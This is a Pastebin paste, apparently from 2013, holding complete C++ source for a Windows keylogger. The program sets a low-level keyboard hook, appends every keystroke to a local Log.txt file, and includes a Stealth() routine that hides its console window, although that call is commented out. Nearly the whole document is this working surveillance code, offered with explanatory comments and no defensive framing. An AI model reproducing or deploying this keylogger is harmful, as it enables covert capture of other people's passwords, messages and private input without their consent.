Advertisement
Guest User

Simple Keylogger

a guest
Nov 6th, 2013
500
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 4.22 KB | None | 0 0
  1. #include <iostream>
  2. #include <Windows.h>
  3. #include <cstdio> // be able to open file
  4.  
  5. // File pointer
  6. FILE *OUTPUT_FILE;
  7.  
  8. using namespace std;
  9.  
  10. void save(DWORD vkcode);
  11. void Stealth();
  12. void SetHook();
  13. void ReleaseHook();
  14.  
  15. // variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
  16. // or you will get problems since every function uses this variable.
  17. HHOOK _hook;
  18.  
  19. // This struct contains the data received by the hook callback. As you see in the callback function
  20. // it contains the thing you will need: vkCode = virtual key code.
  21. KBDLLHOOKSTRUCT kbdStruct;
  22.  
  23. // This is the callback function. Consider it the event that is raised when, in this case,
  24. // a key is pressed.
  25. LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam){
  26.     //cout << "Inside this thing" << endl;
  27.     if (nCode >= 0)
  28.     {
  29.         // the action is valid: HC_ACTION.
  30.         if (wParam == WM_KEYDOWN)
  31.         {
  32.             // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
  33.             kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
  34.  
  35.             save(kbdStruct.vkCode);
  36.  
  37.             // a key (non-system) is pressed.
  38.             /*if (kbdStruct.vkCode == VK_DECIMAL)
  39.             {
  40.                 // F1 is pressed!
  41.                 MessageBox(NULL, "F1 is pressed!", "key pressed", MB_ICONINFORMATION);
  42.             }*/
  43.         }
  44.     }
  45.  
  46.     // call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
  47.     return CallNextHookEx(_hook, nCode, wParam, lParam);
  48. }
  49. void save(DWORD key_stroke){
  50.     if(key_stroke == 8)
  51.         fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
  52.     else if(key_stroke == 13)
  53.         fprintf(OUTPUT_FILE, "%s", "\n");
  54.     else if(key_stroke == 32)
  55.         fprintf(OUTPUT_FILE, "%s", " ");
  56.     else if(key_stroke == VK_TAB)
  57.         fprintf(OUTPUT_FILE, "%s", "[TAB]");
  58.     else if(key_stroke == VK_SHIFT)
  59.         fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
  60.     else if(key_stroke == VK_CONTROL)
  61.         fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
  62.     else if(key_stroke == VK_ESCAPE)
  63.         fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
  64.     else if(key_stroke == VK_END)
  65.         fprintf(OUTPUT_FILE, "%s", "[END]");
  66.     else if(key_stroke == VK_HOME)
  67.         fprintf(OUTPUT_FILE, "%s", "[HOME]");
  68.     else if(key_stroke == VK_LEFT)
  69.         fprintf(OUTPUT_FILE, "%s", "[LEFT]");
  70.     else if(key_stroke == VK_RIGHT)
  71.         fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
  72.     else if(key_stroke == VK_UP)
  73.         fprintf(OUTPUT_FILE, "%s", "[UP]");
  74.     else if(key_stroke == VK_DOWN)
  75.         fprintf(OUTPUT_FILE, "%s", "[DOWN]");
  76.     else if((key_stroke == 190) || (key_stroke == 110))
  77.         fprintf(OUTPUT_FILE, "%s", ".");
  78.     else
  79.         fprintf(OUTPUT_FILE, "%s", &key_stroke);
  80. }
  81.  
  82. void Stealth(){
  83.     // Hide window
  84.     HWND stealth;
  85.     AllocConsole();
  86.     stealth = FindWindowA("ConsoleWindowClass", NULL);
  87.     ShowWindow(stealth,0);
  88. }
  89.  
  90. void SetHook()
  91. {
  92.     // Set the hook and set it to use the callback function above
  93.     // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
  94.     // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
  95.     // function that sets and releases the hook. If you create a hack you will not need the callback function
  96.     // in another place then your own code file anyway. Read more about it at MSDN.
  97.     if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
  98.     {
  99.         MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
  100.     }
  101. }
  102.  
  103. void ReleaseHook()
  104. {
  105.     UnhookWindowsHookEx(_hook);
  106. }
  107.  
  108. int main()
  109. {
  110.     // Set the hook
  111.     SetHook();
  112.    
  113.     //If I call Stealth() it wont record keystrokes
  114.     //Stealth();
  115.  
  116.     // Open file to put characters in
  117.     OUTPUT_FILE = fopen("Log.txt", "a+");
  118.  
  119.     // Don't mind this, it is a meaningless loop to keep a console application running.
  120.     // I used this to test the keyboard hook functionality. If you want to test it, keep it in ;)
  121.     MSG msg;
  122.  
  123.     while (GetMessage(&msg, NULL, 0, 0)){
  124.         TranslateMessage(&msg);
  125.         DispatchMessage(&msg);
  126.     }
  127.     return 0;
  128. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement